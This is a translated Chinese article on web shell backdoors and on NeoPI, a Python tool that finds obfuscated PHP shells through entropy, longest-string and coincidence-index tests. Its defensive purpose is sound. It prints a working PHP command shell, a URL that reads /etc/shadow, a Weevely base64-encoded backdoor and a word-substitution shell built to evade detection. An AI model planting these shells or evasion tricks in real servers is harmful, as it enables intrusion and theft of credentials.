這些討厭的"shell"到底做了什么?
原創【51CTO.com 獨家譯稿】網頁服務器已經成為當前惡意活動的主要目標之一,而且常常被視為機構基礎設施內部的主要薄弱環節。網頁應用程序代碼總是在相關機構部署之后就被忘在一邊或是處于無人維護的狀態,這就使其很容易作為整套體系中的缺口受到攻擊。網頁應用程序在開發中常常會用到例如PHP,Python,Ruby以及Perl等腳本語言。由于這些語言自身的復雜性,因此很容易導致網頁應用程序在執行任意腳本代碼的過程中產生安全問題。
這些討厭的"shell"到底做了什么?
當上述條件得到滿足時,攻擊者們往往會尋求一種利用部署網頁shell代碼并進行持續訪問的方式來發動入侵。這種代碼會建立起一套可以順利訪問網頁服務器的"虛擬"shell。這種shell通常會在系統接受的指令執行及文件訪問動作中,夾雜其它討厭的惡意功能。
設想一下,當你意識到自己正在管理的某個網站有可能存在安全漏洞。你在網頁服務器上所共享的PHP頁面數以千計,而攻擊者可能在其中的數個乃至更多頁面上植入了后門程序。當然你會嘗試通過對系統進行掃描并檢查IDS(即入侵檢測系統)日志文件來解決問題,但我們也可以想到,后門也許有能力對該運行環境進行自定義修改。如此一來,基于認證簽名來發揮作用的工具將變得毫無用處。在這種情況下,我們該如何檢測及清除此類殺毒軟件及IDS無法尋獲的后門呢?
這里我們所討論的后門類型僅限于網頁shell。網頁shell型后門可被定義為:以一種非公開的方式在動態服務器端的網頁頁面中獲取對計算機系統控制臺的訪問權限。一般來說這些網頁shell構造簡單、易于檢測。舉例說明,讓我們一起看看下面這個PHP文件:
- if(isset($_REQUEST['cmd'])){
- echo "
- <pre>";
- $cmd = ($_REQUEST['cmd']);
- system($cmd);
- echo "</pre>
- ";
- die;
- }
- ?>
這個shell的構造十分簡單,并允許攻擊者只需輸入如下圖所示的網址即可輕松執行命令:
- http://comprimised-system.com/simple-backdoor.php?cmd=cat+/etc/shadow
而更復雜的網頁shell則包含了與控制臺的交互方式及文件編輯等內容。C99 shell所提供的自述文件(C99 shell是一款已經誕生將近十年的后門工具)中,規定了如下的特性:
- SQL Manager
- Visual File Manager (Many Features)
- PHP Eval
- Mail Bomber
- Get all readable home directories
- …
我們怎樣檢測出未加密的shell?
像C99這樣的shell能夠通過制定一些關鍵詞搜索的方式被檢測出來,當然使用一款基于簽名認證的檢測工具也同樣可以做到。我們可以通過檢索下面這一串內容來從網頁服務器中嘗試找出PHP后門(本例子借鑒于Steven Whitney的相關論著):
- grep -RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|readfile|passthru)"/pathto/webdir/
可以想見,這種檢索方式會產生大量誤報,因為這些回饋有很大一部分來自合法的網頁應用程序。我們也可以嘗試利用類似Linux惡意軟件檢測(簡稱LMD)的工具。我們運行Linux惡意軟件檢測來對一款網頁指令型shell所制造的九十個后門進行檢測,而LMD能夠通過掃描找出全部九十個后門中的三十七個。這么低的識別率其實并不奇怪,因為網頁shell中有一些是專門針對Windows操作系統所設計的。而真正令人驚訝的是Linux惡意軟件檢測并沒能夠識別出諸如isko,shellzx這些致命的網頁shell。
這些保障手段如何對抗自定義類型的shell?
我們還創建了一套自定義的網頁shell。我們使用了Weevely工具來生成了一個惡意并加密了的后門,用以執行下列命令:
- server# python weevely.py -g -o test_shell.php -p qazwsxedc
該命令行的效果是生成了一個加密過的網絡shell,密碼為'qazwsxedc':
- eval(base64_decode('cGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwkYSk7IGlmKHJlc
- 2V0KCRhKT09J3FhJyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPHp3c3hlZGM+JztldmFsKGJhc2U2NF 9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlfc2xpY2UoJGEsY291bnQoJGEpLTM pKSkpKTtlY2hvICc8L3p3c3hlZGM+Jzt9′));
- ?>
我們再次利用LMD對該目錄進行檢測,而test_shell.php未被識別出來。
為了克服基于簽名認證體系的檢測,有些網頁shell,例如Weevely所生成的那些,通過采取一些特別的結構來規避檢測的掃描機制。定制代碼被進行壓縮并利用加密技術來使其內容變得更具迷惑性,進而逃避偵查。這種情況在對抗基于簽名認證或是關鍵字搜索的檢測系統時尤為高效。此外,在企業的網頁服務器上從數以萬計的文件中查找包含特定內容的對象本身也非常困難,因為所需檢索的目標數據的體積太過龐大。
部署一套網頁shell到底有多簡單?
這些shell的部署能夠通過下列方法來加以簡化:命令注入、文件上傳漏洞、不安全的FTP(即文件傳輸協議)以及包含漏洞的遠程文件。如果攻擊者能夠使目標網頁服務器執行其所提供的后門程序,他們就能夠使shell獲得與網頁服務器同樣高的權限來對主機操作系統進行訪問。
如果我們不能夠安全地依靠傳統方法,例如基于簽名認證的掃描工具,來檢測網頁shell,那還有其它的備選方案嗎?現在,讓我們一同進入NeoPI吧。#p#
NeoPI
概述
NeoPI是一個由Python所編寫的腳本,它使用多種統計方法來檢測存在于文本及腳本文件中的,經過偽裝處理或加密過的內容。NeoPI的預期目的是幫助我們定位網頁shell的隱藏代碼標識。NeoPI在發展方面的重心在于創造一套可與其它現有檢測方案(例如Linux惡意軟件檢測或傳統的基于簽名認證/密鑰信息的檢索手段)同共作用的強大工具。
NeoPI是一款獨立的平臺,能夠在安裝了Python 2.6的任何操作系統平臺上運行。要運行這套腳本的用戶,首先需要獲得讀取計算機中所有文件的權限,這樣該工具才能進行全盤掃描。
NeoPI將對整個文件系統由基層目錄開始進行循環掃描,并按照一系列檢測結果對文件進行評估分類。這種分類能夠幫助我們識別哪些文件有較高的機率可能已經被經過加密的網頁shell所侵入。它同時還提供了一種稱為"總體"評分的系統,可以由單獨的檢測做出個別的文件分類。
分析方式講解
NeoPI利用以下幾種不同的統計方法,來嘗試判斷對象文件中包含惡意代碼的可能性。
最長的字符串
最長的字符串指的是該種檢測手段將文件中長度最長且不間斷的字符串作為判斷標識。這種方式相當實用,因為經過偽造處理的代碼在經過編碼的文本文件中往往是作為一條超長的字符串進行存儲的。當前多數主流的編碼方法,例如base64編碼,都會產生一個沒有空格字符的超長字符串。由于典型的文本及腳本文件,其內容在字符串的長度方面普遍較短,因此找出那些反常的長串字符可能有助于我們識別該文件中是否存在惡意代碼。
- longest = 0
- words = re.split("[\s,\n,\r]", data)
- if words:
- for word in words:
- if len(word) > longest:
- longest = len(word)
- return longest
上述代碼的功能是將某字符串以"單詞"為單位用空格、換行及回車加以拆分后獲得的結果。其運行之后將自動確定那些最長的字符串內容并在處理之后返回分析結果。
熵
熵是一種用來衡量及描述某值在不確定性方面所表現出來的強度的概念。Shannon(Claude Shannon,信息熵概念及符號邏輯與開關理論的奠基者)位是字節。該測試通過計算來確定目標編碼文件中字節數最少的某個文件所必需的"Shannon熵值"。熵測量在識別加密型網頁shell方面功效卓著,因為加密過程往往會使對象文本字符串的熵值大幅提升。
- entropy = 0
- for x in range(256):
- p_x = float(data.count(chr(x)))/len(data)
- if p_x > 0:
- entropy += - p_x * math.log(p_x, 2)
- return entropy
上面的代碼將對Shannon熵值的具體"數據"進行計算并返回一個0到8之間的浮點數。所謂熵值代表的是"數據"的字節熵量。而浮點數字則相當于表示該"數據"所必需的字符位數。一個包含大量隨機內容或特殊信息的文件將需要更多的字符位數來進行描述,也因此產生了較大熵值。利用這種功能來對浮點數值在從2到8區間的日志記錄文件進行分析,返回的結果將介于0和1之間。而配合其它計算熵的措施協同工作,上述分析可能將對識別網頁shell有所幫助。最終獲得的數值越大,數據顯示的各種信息的隨機性越強、種類越多,也就是說熵量越大。
巧合指數
巧合指數(簡稱I.C.)是指一種用來對文本進行加密分析或自然語言分析的技術指標。它可以計算某個所有字母的出現機率相對平均的文本中,其字母組合的出現情況。這類計算往往會在分析不同類型的文本后得出挖的結論數值;無論該文本使用的是口頭語言還是腳本語言。這一結論性數值在確定諸多同類文件中的異常文本文件中是非常有用的。這可能表明該文件所包含的文本部分有問題,無論是重新編碼操作還是加密過程,都會使結果偏離正常的字符應用分布情況。
- char_count = 0
- total_char_count = 0
- for x in range(256):
- char = chr(x)
- charcount = data.count(char)
- char_count += charcount * (charcount - 1)
- total_char_count += charcount
- ic = float(char_count)/(total_char_count * (total_char_count - 1))
- self.ic_results.append({"filename":filename, "IC":ic})
- # Call method to caculate_char_count and append to total_char_count
- self.caculate_char_count(data)
- return ic
上面的代碼代表對"數據"的巧合指數進行計算,并返回一個浮點數值。#p#
未來發展
NeoPI在未來的發展中將遵循以下幾個特點:
" 額外的檢測功能及根據文件格式進行良好的檢測調整可以幫助我們更容易地通過測試發現細微的異常情況。舉一個這方面的實例,比如運行并收集各個網頁編程語言的平均巧合指數。目前所建立的檢測方式在平均巧合指數方面只考慮到了文件內容的普遍情況,而未參照不同編程語言對其造成的影響。因此,要創建這樣一套比照體系可能需要制作出非常大的Phthon代碼庫,用以進行巧合指數掃描以及結論信息的存儲。否則可以預見,某個特定的Python文件極有可能因為其內容的特殊性而被巧合指數掃描誤認為存在惡意代碼。
" 熵模塊則是另一項我們希望將其補充進傳統統計分析過程的功能。熵模塊將使我們能夠讀取基于預定義模塊尺寸的文件并分析其特定部分的熵值。這可能會對識別那些利用結合英文文本及加密模塊來回避檢測的網頁shell有所幫助。
" 引入多線程機制來加快文件的分析速度,這將對把此套檢測系統推廣到大型網絡上非常有利。
最后,我們還計劃向其中添加一些基本特征掃描,以為檢測網頁shell提供輔助機制。
如何使用
NeoPI具備獨立的運行平臺,因此無論是Linux還是Windows都能成為其發揮作用的舞臺。要開始使用NeoPI,我們首先要從自己的github(即網站全局導航)代碼庫或從網上獲取到必備的代碼。
- git clone ssh://git@github.com:Neohapsis/NeoPI.git
這套小巧的NeoPI腳本現在就保存在我們的本地目錄中了。我們先舉幾個Linux系統上應用的實例,然后再轉向Windows平臺。
讓我們在運行neopi.py時加入-h參數來察看選項。
- [sbehrens@WebServer2 opt]$ ./neopi.py -h
- Usage: neopi.py [options]
- Options:
- -version show program's version number and exit
- -h, -help show this help message and exit
- -C FILECSV, -csv=FILECSV
- generate CSV outfile
- -a, -all Run all tests [Entropy, Longest Word, Compression
- -e, -entropy Run entropy Test
- -l, -longestword Run longest word test
- -c, -ic Run IC test
- -A, -auto Run auto file extension tests
讓我們將這些選項再進一步細化。
- -C FILECSV, -csv=FILECSV
這將生成一個CSV輸出文件,其中包含了掃描的結果。
-a, -all這將使NeoPI運行全部測試,包括熵量、最長字符串以及巧合指數檢測。在一般情況下,我們建議大家運行全部測試項目,這樣可以盡可能地建立起最為全面的網頁shell名單。
-e, -entropy以上參數的加入會使掃描過程中只進行熵量測試。
-l, -longestword以上參數的加入會使掃描過程中只進行最長字符串測試。
-c, -ic以上參數的加入會使掃描過程只進行巧合指數測試。
-A, -auto
#p#
以上參數的加入會使掃描自動生成一個正式的書面列表,其中囊括了許多常見的網頁應用程序文件擴展名。該列表并不全面,但包含了一種很好用的設置功能,即當我們不確定自己的服務器上所運行的網頁應用程序是利用何種語言所編寫時,它會"盡量"為其匹配合適的設置以進行掃描。當前列表所支持的擴展名如下:
- valid_regex =re.compile('\.php|\.asp|\.aspx|\.sh|\.bash|\.zsh|\.csh|\.tsch|\.pl|\.py|\.txt|\.cgi|\.cfm')
現在我們對參數已經比較熟悉,并且已經從GIT處下載得到了一套腳本,讓我們繼續進行,將其運行于可能被網頁shell所感染的網絡服務器上吧。為了事先了解最終掃描出的危險結果大概有多少頁,我們可以運行如下命令:
需要強調的是,我們關注的并不是那些常見的圖形模式。從這里我們可以看到,這類網絡服務器上擁有數量龐大的網頁。好吧,假如我可以自信地告訴大家,我的網絡服務器只支持PHP類型的網頁,那么看看在僅需處理這一類網頁的情況下,我們得面對多少個頁面吧:
我們可以看到,網絡服務器中包含近四千個PHP頁面。繼續前進,我們在整個網頁目錄中安置四套網頁shell程序。它們分別是一套經過完全加密的網頁shell、一套C99型shell、一套包含加密機制與純文本內容的混合shell及一個由Weevely所生成的shell。這些文件都經過了必要的修改,以防被基于簽名認證體系的檢測系統輕易發現。這一整套模擬環境是為了還原前面我們談到的情況,即我們似乎意識到某個惡意的網頁shell已然存在于自己的網頁底層,但其于認證的惡意軟件檢測工具似乎無法找到任何危險文件。讓我們繼續運行NeoPI,看看它能不能幫我們解決問題。
- [sbehrens@WebServer2 opt]$ sudo ./neopi.py -C scan1.csv -a -A /var/www/
這就是輸出的全部掃描結果。我們可以看到巧合指數平均值測試所找出的可疑文件數最多。這為我們提供一個巧合指數的平均值--0.0372。需要指出的是,通過分析所得出的巧合指數平均值并不具備標準的共同特點。另外一個有趣的現象是,對于一篇字母使用情況較為平均的英文文本的分析結果而言,其巧合指數平均值為0.0385。該工具將優先顯示指數平均值最低的那些文件。我們可以看到shell3.php文件的巧合指數似乎存在異常。我們同樣能看到Weevely,shell2.php以及shell.php被列入了可疑名單。接下來,我們繼續看看熵量測試的結論,它所揪出的嫌疑人包括shell3.php,shell2.php以及Weevely。而最長字符串測試在全面檢測方面的作用也得到了驗證,shell3.php和shell2.php的加密后門被及時發現了。#p#
我們粗略計算了全部上述三種功能的平均數,并嘗試通過它來向大家說明這三種功能找出危險文件的概率。正如上圖所示,在綜合排名最高的前十個文件中,NeoPI能夠準確識別出shell3.php,weevely.php以及shell.php。shell2.php因為未進行加密,所以只被巧合指數及熵量這兩項測試所發現,但最終其并未出現在結論性的危險文件列表中。我們強烈建議大家在參考整體檢測結果的同時,也別忘記關注那些在單項檢測中出現異常的文件。
Windows
該工具同時可與Windows系統兼容。在下面的例子中,我們用正式的列表來將搜索局限于PHP及文本類型的文件中。
- python neopi.py -a c:\temp\phpbb "php|txt"
NeoPI的弱點所在
對于所有的惡意軟件檢測工具來說,都存在著一定的方法來避免被其檢測到。NeoPI的檢測重心在于識別混淆代碼,而事實上它常常在識別模糊代碼方面表現得更好。未經模糊處理的代碼對于NeoPI的檢測機制來說是透明的,并能夠完美地整合于系統中的其它代碼上(但這很容易被基于簽名認證或表達搜索的檢測工具發現)。如果以這樣的處理方式來對惡意代碼進行加工,這種看起來很正常的文本將極可能無法被NeoPI識別出。因為首先,這類代碼可能會被編碼/解碼成有效的英文單詞或腳本語言文字,這種編碼類型的字符串將很可能避過巧合指數測試的法眼,因為其字母出現頻率與真正的代碼保持一致。它同樣在熵值上與合法文件具有統一性;而最后,只要其在存儲方式上也足夠小心,將完全能夠逃脫最長字符串測試這一關。
下面這個例子就能夠以簡單的編碼機制成功逃避NeoPI的代碼檢測。而它正是基于文章開頭我們所提到的結構松散的PHP類shell。
- $string = "iguana frog EATS iguana seal seal elk tiger EATS SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS SLEEPS SLEEPS GIGGLES SPACE elk cat hog olm SPACE TICK GIGGLES SPRINTS PEES GOAT ELK TIGER PUKES JUMPS cat mole dog JUMPS KILLS POOPS TICK MURDERS SPACE POOPS";
- $dict = array(
- "a" => ""ardvark","b" => "bat","c" => "cat","d" => "dog","e" => "elk","f" => "frog","g" => "goat","h" => "hog","i" => "iguana","j" => "jackal","k" => "kiwi","l" => "lion","m" => "mole","n" => "newt","o" => "olm","p" => "pig","q" => "quail","r" => "rat","s" => "seal","t" => "tiger","u" => "vulture","v" => "wasp","x" => "xena","y" => "yak","z" => "zebra"," " => "space","(" => "eats",")" => "sleeps","." => "sneezes","[" => "pukes","]" => "kills","'" => "jumps","\"" => "rolls",";" => "murders","=" => "dances","\$" => "sprints","{" => "giggles","}" => "poops","_" => "pees","<" => "falls",">" => "vomits","?" => "coughs","`" => "tick");
- function decode($string, $array) {
- $output = "";
- $words = explode(" ", $string);
- foreach ($words as $word) {
- $upper = isUpper($word);
- $word = strtolower($word);
- if ($key = array_search($word, $array)) {
- if ($upper) $key = strtoupper($key);
- $output = "{$output}{$key}";
- } else {
- $output = "{$output}{$word}";
- }
- }
- return $output;
- }
- function isUpper($char) {
- if (strtoupper($char) == $char) return true;
- return false;
- }
- eval(decode($string, $dict));
- ?>
結論
網頁shell一直是種被忽視的威脅類型,難以察覺,并能夠利用一些簡單的手段逃避檢測。我們已經討論了利用包括熵量、最長字符串以及其它一些技術指示進行比照實驗以檢測這些惡意文件的方法。NeoPI希望能夠不斷發展并提供其它更新更好的測試方式,以便讓更多類型的惡意文件無所遁形。
原文鏈接:http://resources.infosecinstitute.com/web-shell-detection/
【51CTO.com獨家譯稿,非經授權謝絕轉載!合作媒體轉載請注明原文出處及出處!】
【編輯推薦】